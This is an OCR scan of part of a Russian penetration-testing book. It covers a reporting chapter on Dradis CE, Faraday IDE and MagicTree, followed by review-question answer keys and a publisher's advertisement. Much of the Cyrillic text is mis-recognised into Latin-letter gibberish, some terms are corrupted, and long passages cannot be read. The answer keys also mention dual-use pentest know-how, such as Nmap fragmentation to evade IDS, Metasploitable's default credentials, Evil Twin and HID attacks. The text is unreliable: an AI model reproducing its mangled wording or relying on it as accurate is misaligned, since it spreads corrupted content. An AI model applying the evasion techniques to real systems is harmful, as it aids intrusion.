O CxoHIEHTpUpYHTECh HA CXeMaX M JaHHbBIX 3aIUTHI TOTPAHIYHOTO YPOBHSI, YTOOBI
YMEHBIITHTH KOJHYECTBO YIPO3 HE30MACHOCTH, MPEKIE YeM OHH OHOBPEMEHHO Ha-
HECYT y/Iap 110 cepBepaM U pabourM CTAHIUSIM.

O ArakaM Ha CTOPOHE KJIMEHTa WJIU C [IPUMEHEHNEM MeTO/I0B COIUAJIbHON UHKeHe-
PUM TTOYTH HEBO3MOKHO IMTPOTUBOCTOSTH, HO OMACHOCTH TAKOTO HATAJEHUST MOKHO
YMEHBIIUTD., [[JIsT 3TOTO CIIeyeT yIeUTh 0c000e BHUMaHHE 00YUEHUIO COTPY/IHUKOB
HOBENIITUM KOHTPMEPAM.

Q /it yMeHbIeHUsT HeraTUBHBIX [OCIEACTBUN OT BO3MOKHBIX aTaK HEOOXOAUMO YETKO
BBITIOJTHATH PEKOMEHAAIINN, KOTOPBIE TIPEATOKIT UCTIBITATETh Ha IPOHNKHOBEHUE.

Q IIpu HeOOXOAUMOCTH BOCIOJIb3YHTECH IPOBEPEHHBIMU U HAZEKHBIMU CTOPOHHUMU
perrerusivu (IDS /TIPS, 6panaMayapbl, CHCTEMBI 3alllUTHI KOHTEHTa, aHTHBUPYCHI,
rtexrosiorn [AM u . 11.).
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Q Mcnonb3syiiTe MOAXOA «pasaesisiii i BJACTBYIi», YT0ObI OTAEIUTh 30HbI 3ALIUIIIEHHON
ceTu OT HeGEe30ACHBIX MJIM OTKPHITHIX 00BEKTOB 1eJIeBOil HHPPACTPYKTYPHL.

O Vkpemnigiite HAaBbIKK Pa3pabOTYMKOB B KOAMPOBAHUHM OGE30IACHBIX MPUIOKEHUIH,
KOTOpBIE SABJIAIOTCS YacTbio 1esieBoit I T-cpeapr. Orienka 6e301acHOCTH TPUIOKEHUI
U BBIMIOJTHEHKE TIPOBEPKH KOJA MOTYT MOBBICHTH MH(MOPMAIMOHHYI0 GE30MaCHOCTb
OpraHu3aIuu.

Q IIpumeHnsiite Mepsl Gusuueckoii 6esomnacHocTu. Peannsyiite MHOTOYPOBHEBYTO
CTpaTeruio JoCTyla ¢ MeXaHUYeCKUM U 3JIeKTPOHHBIM KOHTPOJIEM J0CTYIIa, OI0-
BeleHusAMU 0 BTop;keHun, Monutopunrom CCTV u upentudukaimeit mepconaa.

Q PeryusapHo o6HOBIIIITE Bce CUCTEMBI 0e301aCHOCTH, YT00BI 00eceYnTh KOH(DUIEeH-
IMUAJIbHOCTD, IEJTOCTHOCTD U JOCTYITHOCTD.

Q IIposepbTe Bce MOKYMEHTUPOBAHHbBIE PelIeHNs, TIPEACTaBIeHHbIE B KAYeCTBE PEKO-
MeH/AIUiT, UTOOBI UCKIIOYMTH BOSMOKHOCTD BTOPIKEHUST MJIHM SKCILIYaTAIUH.

Ncnonb3oBaHue cTpykTypbl Dradis ons coctaBneHus
OTYETHOCTWU NO TECTUPOBAHUIO HA MPOHUKHOBEHKE

Cucrema Dradis — 970 y106Has1 cucTeMa JIJIST COCTABJIEHHSI OTYETHOCTH, 3aITyCK TECTOB
U UCIIOJTb30BaHKE OOJIBINOTO KOJMYECTBA MHCTPYMEHTOB MOKET OBITh OUE€Hb YBJICKATEb-
HbIM. OJTHAKO, KOT/IA IETI0 IOXOUT /10 OPTAHU30BAHHON TOKYMEHTAIINH, ATOT TIPOTIECC
MOJKET MOKa3aThCsT IOBOJIBHO CKYUHBIM. 3/I€Ch CJIEYET YUECTh, UTO B OTUYET HEOOXOANMO
BKJTIOUUTD HE TOJBKO (DAl Pe3yIbTATOB UCCJAEIOBAHUH, HO Y CKDUHIIIOTBI 3TUX PE3YJTh-
taroB. Heo6X0mMo TaksKe JOKYMEHTHPOBATH BCE KOMAH/Ibl, KOTOPbIE UCTIOJIH30BAJIHChH
BO BPeMsI HCCIIEeIOBaHMsL. 3/1eCh BaM MOKET moMoub (peiiMBopk Dradis. 9to mporpamma
€ TIPOCTBIM B UCTIOJTh30BAHNN UHTEPMENicOM, KOTOpast MOIEP;KUBACT TIATUHBI JIJTST MHO-
TMX MHCTPYMEHTOB U MO3BOJISIET JIETKO HACTPAWBATH KOHTPOJIBHBIE CITUCKH.

OpeiimBopk Dradis Moskuo Haiitu B MeHto Kali. /IJ1s1 3TOTO METKHUTE KHOTKON
MBIIIH Ha cTpoke Applications (TTpusoskenust), nanee Boibepure 12 Reporting Tools (12 wuH-
CTPYMEHTOB OTYETHOCTH ), a 3aTeM Dradis framework (dpeiimBopk Dradis).

Dradis Takke MOKHO 3aIlyCTUTh HETIOCPEJCTBEHHO U3 TEPMUHAJIA, BBE/IST B KOMAaH/I-
HYIO CTPOKY KoMaHy dradis (puc. 14.1).

O06a npeabIAyIINX MeToAa IPUBOIAT K OTKPLITHIO BeO-nnTepdeiica Dradis B Gpayse-
pe. URL-aznpec saToro unrepdeiica — 127.0.0.1:3000/setup. BBeiure apoJib, KOTOPbIit
Oy/yT MCIIOJIb30BaTh BCe, KTO oOpalllaeTcs K cepBepy, a 3aTeM Bbibepute Create shared
password (Cosgarb o011l TapoJib).

BBemTe nMst mosib30BaTeIs U TTAPOJTh, a 3aTeM HaxkMuTe Let me in! (Briyctutn mens!).
Ha skpane nosisutcst nanesb yupasienust Dradis CE (Community Edition). Dradis
CE 1mo3BoJIsieT TI0JIb30BATENIO CO3/IaBATh B KAUECTBE METOOJIOTMH KOHTPOJIbHBIE CITH-
cku. [y co3anms MeToIoIoTuy eTKHUTe Ha cTpoke Methodologies (MeTonosiornm)
(Ha JIeBO TTaHe N ) WK Ha cTPOKe +Add a testing methodology (/Tlo6aBUTH METOLOJIOTHIO
TECTUPOBAHMS ), KOTOpas HaXo/IUTcs B paszesie Methodology progress (IIporpecc meTosi0-
JIOTUK) B TJIaBHOM OKHe (puc. 14.2).
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ali:~# dradis
[i] Something is already using port: 3000/tcp
COMMAND PID USER FD TYPE DEVYICE SIZE/OFF NODE NAME
ruby2.5 3039 dradis 12u IPv6 1727348 8t0 TCP localhost:3080 (LISTEN)
ruby2.5 3039 dradis 13u IPv4 1727349 0t8 TCP localhost:3000 (LISTEN)

uID PID PPID C STIME TTY STAT TIME CMD
(dradis 3039 1 © Augey ? Ssl 8:27 fusr/bin/ruby2.5 bin/rails se

[*] Please wait for the Dradis service to start.

[*]

[*] You might need to refresh your browser once it opens.
[*]

;[*] Web UI: http://127.0.0.1:3000

!. dradis.service - Dradis web application

Puc. 14.1. 3anyck dradis

Dradis CE Q Gup Its T
PROJECT SUMMARY
Issues so far Methodology progress
There are no issues in this project yet. There are no methodologies in this project yet.

i a testing methodology
EY VLA or &8 Upload output + Add a testing methodology

from tool

Puc. 14.2. [lo6aBneHve METOAOIOMMN

Dradis zaer 110/1p30BaTeI0 BO3MOKHOCTD JIMO0 CO31aTh HOBYIO METO0JIOTHIO, IHGO
BbIOPATh MEXKIY APYIMMU [aKeTaMU COOTBETCTBUSA (KOTOPbBIE JOJIKHBI ObITh 3apaHee
3arpyskensl). Eciii BbI [I7151 CBO€T METOIOJIOTUY XOTUTE MCII0JIb30BaTh OIIPEeeIeHHbIN
1ma6JI0H, MOKHO BbIOpaTh IyHKT Download more (3arpysuth 6oJibliie), 4TOObI HAIIPABUTh
MTOJTh30BATEJST HA CTPAHUILY TTakeToB cooTBeTcTBUSA (https://dradisframework.com/academy/
industry/compliance/) ¢ pa3JIMYHBIMU UMEOTUMUCS TTAKeTaMU, BKJIIOYAsT CIIe/lyIoIIee:

O wHcTpyMeHT ayauTa cooTBeTcTBUsT HIPAA;
O oruer Offensive Security Certified Professional (OSCP);
O pykoBojcTBO 10 TectupoBannio OWASP v4;
O Texuuuyeckoe pykoBojactso PTES.
910651 cO3ATH KOHTPOJBHBIN CITHCOK JIJIST METOZOJIOTHH, BhIOepuTe TTapamMeTp New
checklist (HoBwIli KOHTpOJIBHBIH crincok) (puc. 14.3).
Haiite HOBOMY KOHTPOJIbHOMY CIIUCKY MM, a 3aTeM Haxxmute Add to Project ([lo-

6aBUTH B IPOEKT). By/eT co3man mycToit KOHTPOJBHBIN CIUCOK € ABYMST 3ar0JIOBKAMU
paszaenos (puc. 14.4).
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Dradis CE

Ak Alifasies METHODOLOGIES

« Methodologies
Basic checklists = [@ Advanced boards and task assignment

Mew checklist

Download more
lave been assigned to this project yet

Puc. 14.3. Bbi6op KOHTPOBLHOIO Cnvcka

METHODOLOGIES

'‘Mew checklist' added as 'vulnerable_Servers 08-2018' X

Baslc checklists | [H Advanced boards and task assignment

Vulnerable.: ers 08-2018 Add new-

# Edit @ Delete

Section #1

» []Task#1.1 ‘

o [JTask#1.2 ‘

Section #2

o []Task#2.1 ‘

Puc. 14.4. KOHTPOsbHbIN CMNCOK CO3AaH

YTo6Bl UIBMEHUTH Pa3/esibl U 3a7a4ui, HaskMuTe KHONKY Edit (M3MeHUTD) 1 U3-
menure cogepxrumoe XML-koza. Jlust mpumepa Mbl 106aBuin Scanning B 00J1acTh
Section 1. [Tocse 3aBeprieHns pelakKTUPOBAHNS TIPOKPYTUTE CITMCOK BHU3, JI0 HUKHEN

yactu XML-@aiina, u HaskmuTe KHOIKY Update methodology (OGHOBUTH METOI0JIOIIIO)
(puc. 14.5).
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‘Wew checklist' added as "Vulnerable_Servers 08-2018' )
Content
<?xml version="1.0"?> Vulnerable_Servers
<?xml version="1.0"?> 08-2018
¢<methodology>
<name>Vulnerable_Servers 08-2018</name>
sections x .
¢ ’ Section #1- Scanning
¢section>
<name>Section #1- <Iname> o Task £1.1
<tasks> i
o Task #1.2
<task> Task #1.1</task> b
<task> Task #1.2</task> .
(taskss Section #2
</section>
¢sections v Task #2.1

Puc. 14.5. XML-koa n3meHeH

Ha neBoii manesu meskHuTe KHOMKON Mbiiy Ha Nodes (Y 31b1), 4T06bI 106aBUTH
yCTpoiicTBa, ¢ momolibio koTopeix Dradis CE 6yzer cospasarb oruer. Eciu BbI pabo-
TaeTe ¢ HECKOJBLKUMU y3JaMu, BBeaute [P-azipeca y3ioB (110 01HOMY B CTPOKE) U LTI
3aBeplIeHrs HaxMuTe KHONKY Add ([Jobasuts) (puc. 14.6).

Add top-level node

() Add one
(o) Add multiple

To create multiple nodes, add one node name per line:

172.16.66.23
172.16.66.24

Icon

No icon j

Puc. 14.6. Y3nbl fo6aBneHbl
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Yr06bl OTKPBITH HaHe b Nodes Summary (Csozka 110 yaiam), B pasaeie Notes (ITpu-
MeuyaHUsI) MeJKHUTe Ha oTaeabHOM [P-anpece. CiieBa OTKpOETCs MaHes b CBOAKH 110
y31aM. 3/1eCh BBl MOKETE J06GABUTH JIAHHBIC, 3AMETKH, & TAKIKe, ECITU ATO HEOOXONMO,
ykasatb nojysen (puc. 14.7).

% Hlode sumimacy Nodes 7 172.16.66.73 T 7 BT T
~ Move
Moies *  mEvdence [BNotes | of Properties & Recent activity
Propertles - & Edit
Evidence +

Puc. 14.7. [lo6aBneHne AaHHbIX

Dradis ¢ moMoIbio mIarnHoB MokeT paboTarh ¢ pesyJbraTaMil paboThl TAKUX HWH-
CTPyMeHTOB, kak Acunetix, Burp, Metasploit, Nessus, nikto, OpenVas, uto ymnpoiraer
IIPOLIECC COCTaBJIeHUsI 0TYeTOB. B BepxHell yacTu aHe i MOHUTOPUHTA HaxkmuTe Upload
output from tool (3arpysuTh BbIBOJ] M3 HHCTPYMEHTA). BbIOepuTe MHCTPYMEHT U YKASKUTE
aiin s 3arpysku B Dradis, kak mokasaso Ha puc. 14.8.

UPLOAD MANAGER

Use the form below to upload output Nles from other wols.

1. Choose a tool upload progress:

0%

Dradis;:Plealns;:Acunetix

Output console

Dradis::Plugins::Burp

Dradis:Plugins::
Dradis:Flugins::
Dradis:Flugins::
Ay Dradis:Plugins::
Dradis:Flugins::
Dradis::Plugins::
Dradis:Plugins::
Dradis: Plugins::
Dradis:Flugins::
Dradis:Plugins::
Dradis:Flugins:.
Dradis:Plugins::

Metasploit

NTOSpider

Nessus

MNetsparker

Nexpose

Mikto

MNmap

OpenVAS
Projects::Upload::Package
Projects::Upload:: Template
Qualys

Zap

Puc. 14.8. Bbibop MHCTpyMeHTa Anst 3arpysKku
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[t 3aBeplieHns oTYeTa HAKMUTE KHOTIKY Export results (DKCIOPT pe3yJIbTaToOB)
B BepXHeii yacTu nanean MoHuTopunra. OTdersl MOTyT ObITh cO34aHbl B hopmarax CSV
u HTML, a nosbsoBaresbekue oruersl — B popmaTax Word 1 Excel. Yto6br coznath
(aiir, BeiGepuTe 1mabI0H 1 HaxkMuTe KHOIKY Export (Dkcmopr) (puc. 14.9).

EXPORT MANAGER

EXpOrT results In €SV format | Generate advanced HIML reports

Save and restore project information [} Custorn Word reports  [{] Custom Cxcel

Choose a template

Please choose one of the templates available for this plugin (find them in
JJtemplates/reports/ntml_export )

(& basic.html.erb
() default_dradis_template_v3.0.html.erb

Puc. 14.9. Co3paHue aiina otyeta

NHCTPYMEHTbLI OTYETHOCTU MO TECTUPOBAHUIO
Ha NPOHUKHOBEHUE

Dradis He eiMHCTBEHHBIN UHCTPYMEHT JIJIsI CO3/IaHUSI OTYET-
nocru, goctynubiii B Kali Linux 2018. Ecim BoiGpath MeHIO
Applications (ITpumoskenust), a 3aTem Reporting Tools (U ucTpy-
MEHTBI OTYETOB), BbI YBUJIUTE JIPYTHE TOCTYIIHbIE HHCTPYMEH-
oI, Takue kak Faraday IDE, MagicTree u pipal (puc. 14.10). IZ faraday IDE

cutycapt

dradis fram...

Faraday IDE e

. maltego
Faraday IDE — eliie o/iiH WHCTPYMEHT, CO3JIAHHBIN JIJIsT TTO/I-
JIePKAHUS COBMECTHON PabOThI ¢ UCIIOIb30BAHUEM IPUMEPHO ~ | pipal
40 BCTPOEHHBIX MHCTPYMEHTOB /1711 co37ianst otaeTos. [lommep- =

JKMBaeMble TLIaTMHbBI TI03BOJISIOT 3azelicTtBoBarh Metasploit, recordmyd...
Nmap u Nessus. Faraday IDE nogepkuBaet KOHIIETIIHIO
MHOTOTIOJTh30BATEIBCKOTO TECTUPOBAHNS Ha TPOHUKHOBEHUE
B cpezie, (pyHKIMOHMPYIONIEN TOYHO TaK e, KaK 1 IIPU 3a1y-  pyc, 14.10. VIHCTPyMeHTbI
CKe MHCTPYMEHTOB B TEPMUHAJIE TI0 OT/IETBHOCTH. AN CO3[aHNs OTHETHOCTM
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Jlist 3anycka Faraday IDE Beibepure mento Applications (IIpuoskenust), a 3arem
MeJIKHUTE Ha cTPoKe Faraday IDE. ITocie 3arpysku wnTepdeiica st Hadana paboThl
¢ HUM HazoBuTe pabouyio obsactpb (puc. 14.11).

Thu 15:10 [ A ) O~
Faraday 2.7.1 20 e
i | Search... I
Workspaces
Create New Workspace

here are no workspaces available. You must create one to continue using Faraday.

Name: Server_pentest_08/2018

Description:

Refresh workspaces

Workspaces | Hosts
eleome to Faraday! il
ERROR ]- 2018-08-09 14:53:12,263 - faraday.GTK - Workspace untitled wasn't found
ERROR J- 2018-08-09 14:53:12,268 - faraday.GTH - Workspace untitled wasn't found
ERROR ]- 2018-08-09 14:53:12,280 - faraday.GTK - Workspace untitled wasn't found

Puc. 14.11. Paboyast 06nacTb Ha3BaHa

O Bonee noapobHyto nHdopmaumio 06 yctaHoBKe U MCMonb3oBaHUK Faraday
D IDE MoxHO HalTu no aapecy https://github.com/infobyte/faraday/wiki.

MagicTree

MagicTree — etne oTH MHCTPYMEHT, TTpeIHA3HAYEHHBIN /IJIs1 TeHePaIni OTYETOB U J10-
crynubiii B Kali Linux. ITosbsosareseit Nmap 9T0T MHCTPYMEHT MOKET 0COOEHHO 3a-
WHTEPeCcoBaTh, TAaK KaK OH MO3BOJISIET 3aITyCKaTh CKaHNPOBaHNe Nmap HermocpecTBEHHO
u3 camoro npusoskenus. s samycka MagicTree Boibepure menio Applications (ITpuiio-
JKeHUs ), a 3aTeM TyHKT Reporting Tools (MHCTpyMeHTHI oT4eTOB). IHCTpYyMeHT noJikeH
BBITJIAZIETH TpUMepHO Tak (puc. 14.12).

e bonee noapobHyto nMHbopMaumio 06 ncnonb3oBaHMn Magic Tree MOXHO

D HalTu no agpecy https://www.gremwell.com/using_magictree_quick_intro.
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MagicTree e e o0
Hile__Kdit Node. Reposiory . Repert. Help
] Tree view (] Table view | (] Matrix view | (] Task Manager | a
[ J o1 o] a-] R ]
Wi magictree it Bot saued |n rep b .§
Title l Expression | I.Enl’ | _Hldnden [II 1
' (e ]
| Run H Stop | [ = Prev ” Next > | I Copy ] [ Clear | [ Save F

Found NfA rowi(s} Table cell click action: @ none O select

Input Mo input @ Environment () TabSep in $in file O No input [L]

c [ =] Save
User@Host | I=] Push S5H key

15:35.04 Using mitdir ‘froot/. magictree'
15:135.04 Failed to lnad gs: file ‘froot/.mag F nat found
15:42.40 Initializing MagicTree Version 1.3. rev 1814

Puc. 14.12. NHcTpymeHT MagicTree 3anyueH

Pe3tome

B 5T0ii T/IaBe MBI PaCCMOTPEJIM OCHOBHBIE HIATH, TIO3BOJSIIONINE CO3/IaTh OTYET Ha
OCHOBAaHUU TECTUPOBAHUS HA MPOHUKHOBEHUE, U 0OCY/UJIN TJIaBHbIE 0COOEHHOCTH
[IPEJICTABJIEHUS 3TOTO OTYeTa KianeHTy. CHavama Mbl OAPOOHO pazobpasii METObI J10-
KyMEHTHUPOBAHUSI PE3YJIBTATOB C TOMOIIBI0 KOHKPETHBIX HHCTPYMEHTOB U HPEJIOKILIN
TSI TIOJTyYeHUsT KOHEYHDIX PE3YJIbTaTOB HE MOJIATATHCS HA OT/IeJIbHbIE HHCTPYMEHTDI.
Y6enurecn, 4TO IPU HEOOXOAUMOCTH BBl CMOJKETE BPYUHYIO IIPOBEPUTH PE3YJIbTATDI
TECTUPOBAHUSI U UTO BAIIM HABBIKY HE YCTAPEJIN.

3aTeM MbI PACCMOTPEJIA UHCTPYMEHTBI JIJIST CO3[[aHUsT OTYETHOCTU. [IpH 9TOM OCHOB-
HOe BHUMaHue yzessiioch GpeiimBopky Dradis, a Takke Faraday IDE u MagicTree.
Pekomenryem BaM morrpoOoBaTh B paboTe KaK/IbIil U3 3TUX HHCTPYMEHTOB.

HakoHelt, MbI HAJIeeMCsT, 9YTO BaM [TOHPABUJIACH 9TA KHUTA, U JKEJIAEM BCETO HAVLITY Y-
1rero B Batieil pabore B chepe KubepOe30nacHOCTH U TECTUPOBAHNUST HA TIPOHUKHOBEHUE,

Bonpochl

1. KakoBbI TP OCHOBHBIX THIIA OTYETOB, TPEACTABISIEMBIX KJIHEHTAM, O TECTUPOBAHUN
Ha MIPOHNKHOBEHWE?

2. Kakue 3HaueHust OTpaskaeT MaTpUIla PUCKOB B UCIIOJIHUTEJIHHOM JIOKJIajie?

3. B uewm HaszHaueHme KapThbl yI3BUMOCTEH?
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4. B yem HazHaueHME KapThl 9KCIIJIONTOB?
5. U3 4ero coctonT METOONOTHS TECTUPOBAHMS ?

6. Kak MO’KHO MITHMMHN3WPOBATh aTaKM HA CTOPOHE KJINEHTA WJIN aTaKN METOAaMH CO-
IIUATbHON WHKEHEPUH ?

[lononHuTenbHbIe MaTepuansl

a O6paseu oT4yeTa O TeCTUPOBAHUM Ha TPOHMKHOBeHUE: https://www.offensive-security.com/
reports/sample-penetration-testing-report.pdf.

O CoBeTbl 110 HATTMCAHUIO OTYETA O TECTUPOBAHUU HA TIPOHUKHOBEHUeE: https://www.sans.org/
reading-room/whitepapers/bestprac/writing-penetration-testing-report-33343.

Q IIpumepn otyeToB Nessus: https://www.tenable.com/products/nessus/sample-reports.

a O6pa3eu TEeXHUYECKOro OTYeTa O NMPOHUKHOBEHUM: https://tbgsecurity.com/wordpress/
wp-content/uploads/2016/11/Sample-Penetration-Test-Report.pdf.
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NetHunter.

MD5 u SHA Checksum Utility.

sha265sum.

Rufus.

Live (amd64), Live (forensic mode), Live USB.
apt-get update.

N s W e

T2 micro.

[(NnaBa 2

Bupryanbhbie mamnasl VMware u Virtual Box.
Jluck BUPTYaJbHOI MAIIUHBI.

Vms mosp3oBaTesnst u maposrb — msfadmin.
Packer u Vagrant.

apt-get install (uma_nakema).

service mysql start.

N s W

service ssh start.

[(naBa 4

1. Open Source Intelligence.
2. whois.

3. IPv4-anpec.
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4. Metagoofil.
5. Devlpoit u RedHawk.
6. Shodan.

[naBa 5

fping.
B Nmap 7.7 nocrymnst 588 ciienapues.

Diar FIN YKa3bIBa€T, 4TO 6oJIbIIEe HET JAQHHBIX JIJI OTIIPABKW U YTO COCAMHEHNE
JIOJIZKHO OBITD IIpeKpalieHo.

4. OrduabTPOBaHHBIN IIOPT YKAa3bIBAET, YTO YCTPOUCTBO OJOKMPOBKHU IIAKETOB HE I10-
3BOJISIET 30H/LY IOCTHYD 1EJIH.

5. Tapamerp -f Nmap ucrosib3yercst, 4To0bl 3aTPYAHUTH OOHAPYKEHIE TTAKETOB TIPU
YKJIOHeHIH oT GpaHaMayspa u IDS.

netdiscover -r.

IMapametp -p ucnosbayercst B Netdiscover JJist BBITTOJTHEHUST TTACCUBHOTO CKAHUPO-
BaHUSI.

8. www.dnsleak.com.

[(naBa 6

1. YVasBuMocTh — 9T0 0OOHapysKeHHas B cucTeMe (Ge30MacHOCTH ¢aaboCThb, KOTOpast
MOJKET UCIIOJIb30BATHCS 37I0YMBIIIJIEHHUKOM JIJIs BBITIOJHEH ST HECAHKITMOHUPO-
BaHHBIX ONEPAIMil, B TO BPeMsl KaK 9KCILIONT UCIOAb3YET 9Ty YSI3BUMOCTh WU
OmIoKY.

2. KoHCTpYKTHUBHAS YSI3BUMOCTD 3aCTaBJSAET Pa3pabOTINKa BEIBOAUTD CIIEMI(PUKALINI
Ha ocHoBe TpeboBanuii 6e301macHocTH 1 6e30I1acHO pemaTh ee peaarsanuio. Takum
00pasom, [ pererus mpodaembl TpedyeTcs 6oJiblilie BpeMeHU U YCUJIHIL 110 cpaB-
HEHUIO C PYTHMU KJIaCCAMU ySI3BUMOCTEIA.

3. VYjanennas ysa3BUMOCTb — 9TO COCTOSIHUE, IPU KOTOPOM 3JI0YMBIILIEHHUK HE UMEET
[IPEABAPUTENBHOIO JOCTYIIA, HO YSI3BUMOCTb MOKET OBbITh HCIIOJIb30BaHa IIyTeM 3a-
IyCKa 4epes3 CETh BPEAOHOCHOTO KOJA.

Nessus.
Lynis.

nikto.
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[aBa 12

N o s W

Nexus 4, Nexus 5 u OnePlus One.

Ia, NetHunter tpebyer root-gocTyin Ha MOOUIBHOM YCTPOHCTBE.

cSploit, Drive Droid, Router Keygen, Shodan.

WPA, WPA2.

[TepexBar ceccuu, pa3pbiB COCANHEHWH, TTepeHapaBIeHre Script-uHbEKINH.
Evil Twin.

Araxka DuckHunter HID npeo6pasyer ciienapun USB Rubber Ducky B ataku
NetHunter HID.

[naBa 13

10.

N o s Wi e

Mastercard, VISA, American Express u JCB International.
PCI DSS Bepcun 3.

[Mectp neneit, 12 TpeboBammii.

Tpebosanue 11.3.

KBapTrasibHast oiieHka ceTu.

Exeromtio.

[lestb cerMeHTaIu COCTOUT B TOM, YTOOBI U30JMPOBATH CPEY JAHHBIX JIepPIKaTest
kapThl (CDE) ot octasbHOI cpefbr.

CTpyKTYpPUPOBAHHBIH MPOIECC TECTUPOBAHUS OTHOCUTCS K PECTPYKTYPU3AITAH Me-
TO/IOJIOTHU TECTUPOBAHKS B COOTBETCTBHUU € U3MEHEHUAMU TpebOBaHUI KIMeHTa.

CEH, OSCP, CREST, GIAC.

Nessus, Lynis.

[(naBa 14

1.

Tpu Bunma orvyeros:

®  JICIIOJIHUTETbHBIN JTIOKJIA]T;

° praBJIeH‘{eCKaH OTYETHOCTD,
® TeXHUYECKUI OTYET.

Marpuiia pucKOB KOJIMUECTBEHHO KJIacCH(DUIUPYET Bee OOHAPYKEHHBIE YSI3BBUMOCTH,
ollpeiesisieT NOTeHIIMAILHO 3apaskeHble PeCypehl U B COKpallieHHOM (hopMate 1epe-
YUCJIsIeT OTKPBITHS, CChIJIKU M PEKOMEH/Ial1H.
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3. Kapra ysga3BuMocTeil COIEPAKUT CIIMCOK 0OHAPY/KEHHBIX B 11€JI€BOI HHMPACTPYKTypPe
VSI3BUMOCTEH, KaXK/Iast 3 KOTOPBIX MOJKHA OBITH JIETKO COMTOCTABUMA € UAeHTHHU-
KaTopoMm pecypca (Hanpumep, [P-agpec u nms mesn).

4. Kapra 5KCILIOHTOB COAEPKUT CIIMCOK YCIEIIHO IIPOBEPEHHDBIX SKCILIOITOB, KOTOPBIE
paboTanu MPOTUB LEJIH.

5. METO,Z[OJIOFI/IH TECTUPOBaHUA NOJIKHA COAEPKATD JOCTATOYHO I[eTa]Ieﬁ, 4yT1OOBI 110-
MOYb PYKOBOJICTBY ITOHATDH BECH IIUKJI TECTUPOBAHMA Ha IPOHUKHOBEHUE.

6. YToOBI MUHIMI3MPOBATH BO3MOKHOCTD aTaK Ha CTOPOHE KIMEHTa, CIeAyeT 00yInTh
COTPYIHUKOB aKTyaJIbHBIM TpUeMaM obectiedeHust 6e30MacHOCTH.
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BAWWA YHUKA/IbHAl KHUTA

XoTuTe n3gatb cBOIO kHM2y? OHA CTAHeT ngeabHbIM MOGapkoM gsi NapTHepPOB

1 gpy3e#i, OTIMYHbIM UHCTPYMEHTOM Qs POgBIMKeHuSs Balle2o bpeHgd, Mpe3eHToM
g1 NAaMATHbIX coObITUI! Mbl CMOXeM OCyLLecTBUTb BaLLM tobble, gaxke camble
CMeJble U CI0XKHbIe, Ngen 1 MPOEKTbI.

Mbl NMPEAJIATAEM:

WM3[aTb BaLly KHUTY
e UM3aHME KHUIV [/151 UCNOAb30BAHNS B MAPKETUHIOBbIX aKTUBHOCTAX
o KHWMM KaK KOPNopaTUBHbIE MOAAPKM
e peknamy B KHurax
e UM3[aHWe KOpPNopaTUBHOM GrbanoTekn

Moyemy Hago BbIGPATH MMEHHO HAC:

M3garenbcTBy «[utep» 6onee 20 neT. HAww OnbIT — 2aPAHTMS BbICOKO20 KAYECTBA.

Mbi npegnazaem:

« ycnyrv no 06paboTke v fopaboTke Ballero TekcTa

o COBpEMEHHbIVi An3aiiH oT NpodeccMoHanos

e BbICOKMIA YPOBEHb NOAMTPAGUUECKOro NCNONHEHNS

e MPOAAXY BaLLE KHUTW BO BCEX KHVKHbIX Mara3uHax CTpaHbl

O6ecneynm npogsnxxeLne Bawueri KHU2H:

peknamoi B npodubHbix CMU 1 MecTax npofax
e PELEH3MAMM B BeyLWMX KHMKHbIX N30aHNAX
e WHTEPHET-NOLAEPXKKOW PEeKNAMHON KaMNaHUK

Mbi nmeem cobCTBeHHYI0 ceTb guCTpubyLmm Mo Bcevi Poccuu, a Takxe Ha YkpaviHe
1 B benapycun. COTpygHmYaem ¢ KpYnHenwmmm KHWKHbIMU Ma2a3MHamu.

13gatenbCTBO «[uTep» ABASETCH MOCTOSHHBIM Y4ACTHMKOM MHOMX KOH(epeHLmii
M CeMUHapoB, KOTOpble MpegocTasfioT WMPOKYI0 BOSMOXHOCTb peann3aumm KHue.

Mbl 06513aTe1bHO Npocaegum, 4Tobbl BALIA KHX2A MOCTOSIHHO MMEeNACh B HAMMYMM
B MQ2a31HAX 1 Obl/IA BbIIOXKEHA HA CaMbIX BUGHbIX MECTaXx.

Obecrieynm MHGMBUGYAbHbIA MOGXOg K KAXGJOMY KNNeHTY, SKCKIIO3MBHbINA gU3aliH,
060N TUPAX.

Kpome 1020, npegnaaaem Bam BbiryCTUTb 1EKTPOHHYIO KHM2Y. Mbl pasmecTim
ee B KPYMHeMLLINX MHTepHeT-Ma2a3nHax. Kumaa byget ceepctaHa B opmare ePub
nm PDF — cambliX MonyasipHbIX 1 HAgexHbIX popMaTax Ha Ce20gHSILLHMI GeHb.

CBA)XKMTECb C HAMM NPAMO ceiyac:

CankT-letepOypr - AnHa TuToBa, (812) 703-73-73, titova@piter.com
MockBa - Cepeeii KnebaHos, (495) 234-38-15, klebanov@piter.com
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